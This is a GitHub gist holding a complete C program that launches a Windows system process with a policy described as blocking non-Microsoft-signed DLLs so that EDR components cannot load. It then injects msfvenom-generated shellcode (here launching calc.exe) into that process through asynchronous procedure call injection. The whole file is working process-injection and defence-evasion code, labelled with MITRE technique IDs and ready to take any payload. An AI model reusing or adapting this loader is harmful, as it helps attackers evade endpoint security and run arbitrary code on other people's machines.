Skip to content

Instantly share code, notes, and snippets.

@wizardy0ga
Last active July 15, 2024 20:12
Show Gist options
  • Save wizardy0ga/fd0274be18045d170a656163035e49ea to your computer and use it in GitHub Desktop.
Save wizardy0ga/fd0274be18045d170a656163035e49ea to your computer and use it in GitHub Desktop.
Spawns a process with mitigations enabled to prevent non microsoft dlls from being loaded into the process. Executes shellcode via APC injection in process.
/*
Author:
wizardy0ga
Date:
July 2024
Arch:
x64
Tested on:
Windows 10 19045.4529
Compiler:
MSVC
Mitre:
Privilege Escalation:
T1055.004 - Process Injection: Asynchronous Procedure Call
Defense Evasion:
T1562.001 - Impair Defenses: Disable or Modify Tools
Description:
Spawn a process with mitigations enabled to prevent non-microsoft signed dll's from being loaded into
the process. This prevents any EDR dll that is not signed by microsoft from being loaded into
the process. Execute shellcode in the target process via asynchronous procedure calls.
*/
#include <windows.h>
#include <stdio.h>
#define print(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__)
#define api_error(api_call) printf("[!] " api_call " failed with error %d\n", GetLastError())
#define error(msg, ...) printf("[!] " msg "\n", ##__VA_ARGS__)
/* Calc.exe - msfvenom -p windows/x64/exec CMD=calc.exe exitfunc=thread */
CHAR shellcode[] = { 0xfc,0x48,0x83,0xe4,0xf0,0xe8,
0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,
0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,
0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,
0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,
0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,
0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,
0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,
0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,
0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,
0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,
0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,
0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,
0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,
0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
0x63,0x2e,0x65,0x78,0x65,0x00 };
/* https://github.com/vxunderground/VX-API/blob/main/VX-API/ZeroMemoryEx.cpp */
VOID ZeroMemoryEx(_Inout_ PVOID Destination, _In_ SIZE_T Size)
{
PULONG Dest = (PULONG)Destination;
SIZE_T Count = Size / sizeof(ULONG);
while (Count > 0)
{
*Dest = 0;
Dest++;
Count--;
}
return;
}
int main() {
CHAR TargetProcess[] = "C:\\Windows\\System32\\GameInputSvc.exe";
STARTUPINFOEXA Si = { 0 };
PROCESS_INFORMATION Pi = { 0 };
SIZE_T AttributeListSize = 0,
BytesWritten = 0,
ShellcodeSize = sizeof(shellcode);
PVOID pShellcode = NULL,
pAttributeBuffer = NULL;
DWORD64 BlockPolicy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;
DWORD OldProtection = 0;
ZeroMemoryEx(&Si, sizeof(STARTUPINFOEXA));
ZeroMemoryEx(&Pi, sizeof(PROCESS_INFORMATION));
Si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
Si.StartupInfo.dwFlags = EXTENDED_STARTUPINFO_PRESENT;
/* Get the size of the attribute list & allocate a buffer for it*/
InitializeProcThreadAttributeList(NULL, 1, 0, &AttributeListSize);
if (!(pAttributeBuffer = (LPPROC_THREAD_ATTRIBUTE_LIST)VirtualAlloc(NULL, AttributeListSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE))) {
api_error("VirtualAlloc");
}
print("Allocated %lld byte buffer for attribute list at 0x%p", AttributeListSize, pAttributeBuffer);
/* Inititiaize list & add mitigation attribute */
if (!InitializeProcThreadAttributeList(pAttributeBuffer, 1, 0, &AttributeListSize)) {
api_error("InitializeProcThreadAttributeList [Init list]"); goto Cleanup;
}
if (!UpdateProcThreadAttribute(pAttributeBuffer, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &BlockPolicy, sizeof(DWORD64), NULL, NULL)) {
api_error("UpdateProcThreadAttribute"); goto Cleanup;
}
/* Create process with dll blocking mitigation policy */
Si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)pAttributeBuffer;
if (!CreateProcessA(NULL, TargetProcess, NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT | DEBUG_PROCESS, NULL, NULL, &Si.StartupInfo, &Pi)) {
api_error("CreateProcessA"); goto Cleanup;
}
print("Created blocked %s process at %d", TargetProcess, Pi.dwProcessId);
/* Allocate shellcode in process */
if (!(pShellcode = VirtualAllocEx(Pi.hProcess, NULL, ShellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE))) {
api_error("VirtualAllocEx"); goto Cleanup;
}
print("Allocated %lld byte buffer in %s at 0x%p @ %d", ShellcodeSize, TargetProcess, pShellcode, Pi.dwProcessId);
if (!WriteProcessMemory(Pi.hProcess, pShellcode, shellcode, ShellcodeSize, &BytesWritten) || BytesWritten != ShellcodeSize) {
if (BytesWritten != ShellcodeSize) {
error("Bytes written to buffer does not match shellcode size. Written: %lld. Expected %lld.", BytesWritten, ShellcodeSize);
}
else {
api_error("WriteProcessMemory"); goto Cleanup;
}
}
/* Execute shellcode using asynchronous procedure call injection */
if (!VirtualProtectEx(Pi.hProcess, pShellcode, ShellcodeSize, PAGE_EXECUTE_READ, &OldProtection)) {
api_error("VirtualProtectEx"); goto Cleanup;
}
print("Wrote %lld shellcode bytes buffer in %s at 0x%p @ %d", ShellcodeSize, TargetProcess, pShellcode, Pi.dwProcessId);
if (!QueueUserAPC((PAPCFUNC)pShellcode, Pi.hThread, 0)) {
api_error("QueueUserAPC"); goto Cleanup;
}
DebugActiveProcessStop(Pi.dwProcessId);
print("Launched shellcode in %s at thread id %d, 0x%p", TargetProcess, Pi.dwProcessId, pShellcode);
WaitForSingleObject(Pi.hThread, INFINITE);
printf("[+] Press enter to quit"); getchar();
Cleanup:
if (pAttributeBuffer) {
DeleteProcThreadAttributeList(pAttributeBuffer);
VirtualFree(pAttributeBuffer, AttributeListSize, MEM_RELEASE);
}
if (Pi.hThread) {
CloseHandle(Pi.hThread);
}
if (Pi.hProcess) {
CloseHandle(Pi.hProcess);
}
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment